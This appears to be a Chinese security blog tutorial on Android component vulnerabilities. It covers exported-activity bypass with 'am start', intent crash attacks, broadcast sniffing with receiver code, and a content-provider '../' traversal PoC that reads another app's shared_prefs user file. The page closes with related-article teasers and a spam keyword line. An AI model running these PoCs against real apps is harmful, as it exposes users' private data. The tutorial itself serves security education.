<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    常見Android組件/控件漏洞

    Ann2021-11-04 18:03:25

    前言

    對于 Android app 本身來說,也是會存在一些組件安全漏洞的,本文就介紹一些常見的 Android 組件漏洞。

    Android組件安全

    首先要知道,Android 中最重要的風險點就是 android:exported="true" 這一屬性。組件被導出就意味著大概率會產生漏洞。

    首先了解一下四大組件:activityservicebroadcastcontentprovider

    對于 app 來說,每一個界面都是一個 activity,每一個 activity 都會有著不同的功能,比如注冊,登錄,手勢密碼等。每一個 activity 的切換需要不同的條件。

    service 服務,伴隨著程序啟動,會一直在后臺運行,主要是檢測作用,檢測客戶端的狀態,上傳用戶的操作。

    broadcast 分為兩個方面,廣播發送者和廣播接收者。Android 提供一整套的 api,允許 app 自由的發送和接收廣播。

    contentProvider是用來保存或者獲取數據,并使其對所有應用程序可見。

    這是不同應用程序間共享數據的唯一方式,因為android 沒有提供所有應用共同訪問的公共存儲區。比如通訊錄數據。

    越權繞過

    對于 activity 組件,主要會存在越權繞過,比如繞過手勢密碼,跳過驗證階段。此處可以利用直接啟動手勢密碼之后的活動來進行驗證

    am start -n 包名/.活動名
    

    若是可以直接啟動,則證明存在越權漏洞。

    拒絕服務攻擊

    還有拒絕服務攻擊,Android 提供 Intent 機制來協助應用間的交互與通訊,Intent 負責對一次操作的動作、動作涉及的數據進行描述,系統則根據此 Intent 描述,來調用對應的 Activity、 servicer 和 BroadCast 等組件,來完成組件的調用。

    如果程序沒有對 Intent.getXXXExtra() 獲取的異常或者畸形數據處理時沒有進行異常捕獲,就會導致攻擊者可通過向受害者應用發送此類空數據、異常或者畸形數據來使該應用崩潰,簡單的說就是通過 intent 發送空數據、異常或畸形數據給應用,來實現讓應用崩潰的目的。

    對應的不同報錯信息

    Java.lang.NullPointerException,原因是程序沒有對getAction()等獲取到的數據進行空指針判斷。intent.putExtra("", "");導致空指針異常導致應用崩潰Java.lang.ClassCastException 原因是程序沒有getSerializableExtra()等獲取到的數據進行類型判斷而進行強制類型轉換Java.lang.IndexOutOfBoundsException,原因是程序沒有對getIntegerArrayListExtra()等獲取到的數據數組元素大小的判斷Java.lang.ClassNotFoundException,原因是程序沒有無法找到從getSerializableExtra()獲取到的序列化類對象的類定義
    

    service服務暴露

    以之前版本的某 app 為例,其中的升級服務,傳入 PushMsg 的 Serializable 的數據。

    此時惡意偽造并啟動暴露的service

    Broadcast 暴露

    比如目標程序如下,

        Intent v1 = new Intent();    v1.setAction("com.simple.action.server_running");    v1.putExtra("local_ip",v0.h);    v1.putExtra("port",v0.i);    v1.putExtra("code",v0.g);    v1.putExtra("connected",v0.s);    v1.putExtra("pwd_predefined",v0.r);    if(!TextUtils.isEmpty(v0.t)){        v1.putExtra("connected_usr",v0.t);    }    sendBroadcast(v1);}
    

    該程序通過 intent 隱式傳遞,并通過 action 匹配發送一個廣播,這樣系統內其他程序都可以接收到這個廣播,然后在廣播接收者中編寫接收代碼,這樣就可以通過攻擊代碼獲取敏感數據信息

    public void onReceive(Context context,Intent intent){    String s = null;    if(intent.getAction().equals("com.sample.action.server_running")){        String pwd=intent.getStringExtra("connected");        s="Airdroid => ["+pwd+"]/"+intent.getExtras();    }    Toast.makeTest(context,String.format("%sReceived",s),Toast.LENGTH_SHORT).show();}
    

    content Provider目錄遍歷漏洞

    Android Content Provider 存在文件目錄遍歷安全漏洞,該漏洞源于對外暴露 Content Provider組件的應用,沒有對 Content Provider 組件的訪問進行權限控制和對訪問的目標文件的Content Query Uri 進行有效判斷,攻擊者利用該應用暴露的 Content Provider的openFile()接口進行文件目錄遍歷以達到訪問任意可讀文件的目的。

    此時的條件是對外暴露的Content Provider組件實現了openFile()接口

    沒有對所訪問的目標文件 Uri 進行有效判斷,如沒有過濾限制如“../”可實現任意可讀文件的訪問的 Content Query Uri 。

    比如,某 APP 的實現中定義了一個可以訪問本地文件的 Content Provider 組件,默認的 android:exported="true" ,對應 com.xxxx.android.jobs.html5.LocalFileContentProvider,該 Provider 實現了 openFile() 接口,通過此接口可以訪問內部存儲 app_webview 目錄下的數據,由于后臺未能對目標文件地址進行有效判斷,可以通過"../"實現目錄跨越,實現對任意私有數據的訪問。

    攻擊poc

    public void GJContentProviderFileOperations(){    try{        InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.xxx.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));        ByteArrayOutputStream out = new ByteArrayOutputStream();        byte[] buffer = new byte[1024];        int n = in.read(buffer);        while(n>0){            out.write(buffer, 0, n);            n = in.read(buffer);            Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();        }    }catch(Exception e){        debugInfo(e.getMessage());    }}
    
    漏洞content
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    對于 Android app 本身來說,也是會存在一些組件安全漏洞的,本文就介紹一些常見的Android組件漏洞
    前言今天總結Android APP四大組件中Content Provider挖掘的知識,主要分為兩個部分,一部分是對Android Content Provider內容提供器的原理總結,另一部分便是對Android provider機制常見的一些漏洞總結,包括一些已知的漏洞方法,和一部分案例實踐。
    但是最終因為我們的主機名與固件中的主機名不同所以無法獲取到IP地址。這里我們可以通過hostname命令查看本機名,然后以我的本機名為例修改squashfs-root/etc/hosts中的內容echo?驗證成功,可以看到程序崩潰信息。但是要構造ROP還需要一些gadget,使用ropper搜索
    在2019年東京Pwn2Own大會上,無線路由器引入為一個新種類:NETGEAR Nighthawk R6700v3。但該路由存在一些安全隱患,其中包括一個堆溢出漏洞,該漏洞可能允許惡意第三方從局域網控制設備。在這篇文章中,我們將詳細討...
    Pexip Infinity存在輸入驗證錯誤漏洞,攻擊者可利用該漏洞觸發軟件中止,從而導致拒絕服務。該軟件提供了一個用于管理VMware vSphere環境的集中式平臺,可自動實施和交付虛擬基礎架構。
    0x01 同源策略 瀏覽器沙盒、同源策略是瀏覽器中的兩個安全機制。圖5.jsonp劫持流程0x03 JSONP劫持漏洞的危害 JSONP劫持是一種敏感信息泄露的漏洞,經過攻擊者巧妙而持久地利用,會對企業和用戶造成巨大的危害。不同:1.JSONP劫持必須找到跨站請求資源的接口來實施攻擊,需要傳回回調函數。
    漏洞預警 CraftCMS遠程代碼執行漏洞
    這一段是后面加的,壓縮包里面多了一個librays.txt的文件 在上圖中是沒有的,這里面存放的是使用腳本需要用到的python庫,在使用前先用下面的命令安裝一下需要的庫
    360漏洞云監測到HP/Samsung/Xerox打印機驅動特權提升漏洞(CVE-2021-3438)的細節被公開,并于第一時間復現了該漏洞
    Ann
    暫無描述
      亚洲 欧美 自拍 唯美 另类